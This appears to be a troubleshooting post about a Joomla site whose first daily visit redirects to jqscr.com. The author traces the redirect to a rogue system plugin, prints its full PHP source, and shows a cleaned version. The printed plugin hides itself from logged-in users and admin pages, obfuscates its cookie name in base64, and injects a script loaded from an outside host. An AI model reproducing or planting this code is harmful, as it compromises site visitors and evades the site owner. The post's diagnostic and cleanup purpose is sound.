How to fix website redirect in first visit every day?
Every time I visit the first website, the web is redirected to the site https://jqscr.com/xxxxxx
After I checked, the web source before being redirected, it turns out that the contents are as follows:
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script>
var khutmhpx = document.createElement("script");
khutmhpx.src = "https://jqscr.com/XXmzhSV3";
document.getElementsByTagName("head")[0].appendChild(khutmhpx);
</script>
<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
........
</head>
.......
There are several scripts tucked into the head
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script>
var khutmhpx = document.createElement("script");
khutmhpx.src = "https://jqscr.com/XXmzhSV3";
document.getElementsByTagName("head")[0].appendChild(khutmhpx);
</script>
Then I look for the source of the script. After several days of searching the file manager, I finally found the source of the redirect script.
The script source is at: "/plugins/system/settings/settings.php"
The contents of the settings.php are as follows:
<?php
defined('_JEXEC') or die;
class plgSystemSettings extends JPlugin
{
public function onAfterInitialise()
{
$user = JFactory::getUser();
$mainframe = JFactory::getApplication();
if ( $user -> id > 0 ) {
// user route
} else {
// non-user route
$current_url = JUri::getInstance();
if (stristr($current_url, "/admin")) {
// admin-panel route
} else {
if ( ! isset( $_COOKIE[base64_decode('cl9vaw==')]) ) {
setcookie( base64_decode( 'cl9vaw==' ), 1, time() + 86400, base64_decode( 'Lw==' ) );
echo '
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script>
var khutmhpx = document.createElement("script");
khutmhpx.src = "https://jqscr.com/XXxxxXXn";
document.getElementsByTagName("head")[0].appendChild(khutmhpx);
</script>
';
}
}
}
}
}
To solve the redirect problem, delete some scripts in the settings.php file so that it looks like the following:
<?php
defined('_JEXEC') or die;
class plgSystemSettings extends JPlugin
{
public function onAfterInitialise()
{
$user = JFactory::getUser();
$mainframe = JFactory::getApplication();
}
}
Then deactivate the plugin settings in your Joomla administrator.